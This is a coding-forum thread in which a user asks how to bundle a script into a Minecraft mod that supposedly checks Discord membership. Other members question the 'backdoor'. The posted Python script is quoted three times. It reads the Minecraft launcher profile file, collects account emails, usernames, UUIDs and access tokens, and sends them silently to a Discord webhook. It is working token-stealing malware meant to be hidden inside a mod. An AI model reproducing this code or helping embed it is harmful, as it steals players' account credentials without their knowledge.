By registering with us, you'll be able to discuss, share and private message with other members of our community.
SignUp Now!What is the purpose of adding the "backdoor"Hey, so im trying to make a minecraft mod, where you have to be in my discord server to use and I have the script and the mod but I don't know how to combine them
Would you mind posting the code for us to help out?its not a backdoor, more like a webhook to check if they are in the discord
Did you delete the file transfer yourself lol
oh found it, and it looks not legal to say the least but i have the bot set up so i cant see any info
import json
import os
from urllib.request import Request, urlopen
# your webhook URL
WEBHOOK_URL = "WEBHOOK HERE"
# mentions you when you get a hit
PING_ME = False
def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"
def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]
embeds = []
for x in auth_db:
try:
email = auth_db[x].get("username")
uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
embed = {
"fields": [
{"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
{"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True},
{"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
{"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
]
}
embeds.append(embed)
except:
pass
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})
try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass
if __name__ == "__main__":
main()
What file did you modify in the java codeoh found it, and it looks not legal to say the least but i have the bot set up so i cant see any info
import json
import os
from urllib.request import Request, urlopen
# your webhook URL
WEBHOOK_URL = "WEBHOOK HERE"
# mentions you when you get a hit
PING_ME = False
def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"
def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]
embeds = []
for x in auth_db:
try:
email = auth_db[x].get("username")
uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
embed = {
"fields": [
{"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
{"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True},
{"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
{"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
]
}
embeds.append(embed)
except:
pass
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})
try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass
if __name__ == "__main__":
main()
Oh @LuckyCxz I HAZ LOTS OH QUESTIONS LOLoh found it, and it looks not legal to say the least but i have the bot set up so i cant see any info
import json
import os
from urllib.request import Request, urlopen
# your webhook URL
WEBHOOK_URL = "WEBHOOK HERE"
# mentions you when you get a hit
PING_ME = False
def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"
def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]
embeds = []
for x in auth_db:
try:
email = auth_db[x].get("username")
uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
embed = {
"fields": [
{"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
{"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True},
{"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
{"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
]
}
embeds.append(embed)
except:
pass
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})
try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass
if __name__ == "__main__":
main()
a friend, but he cant find out how to put it in the jar file and idk why os detection lolWho created the mod, you?
Code Forum is a community platform where coding enthusiasts can connect with other developers, engage in discussions, ask for help, and share their knowledge with a supportive community. It's a perfect place to improve your coding skills and to find a community of like-minded individuals who share your passion for coding.
We use essential cookies to make this site work, and optional cookies to enhance your experience.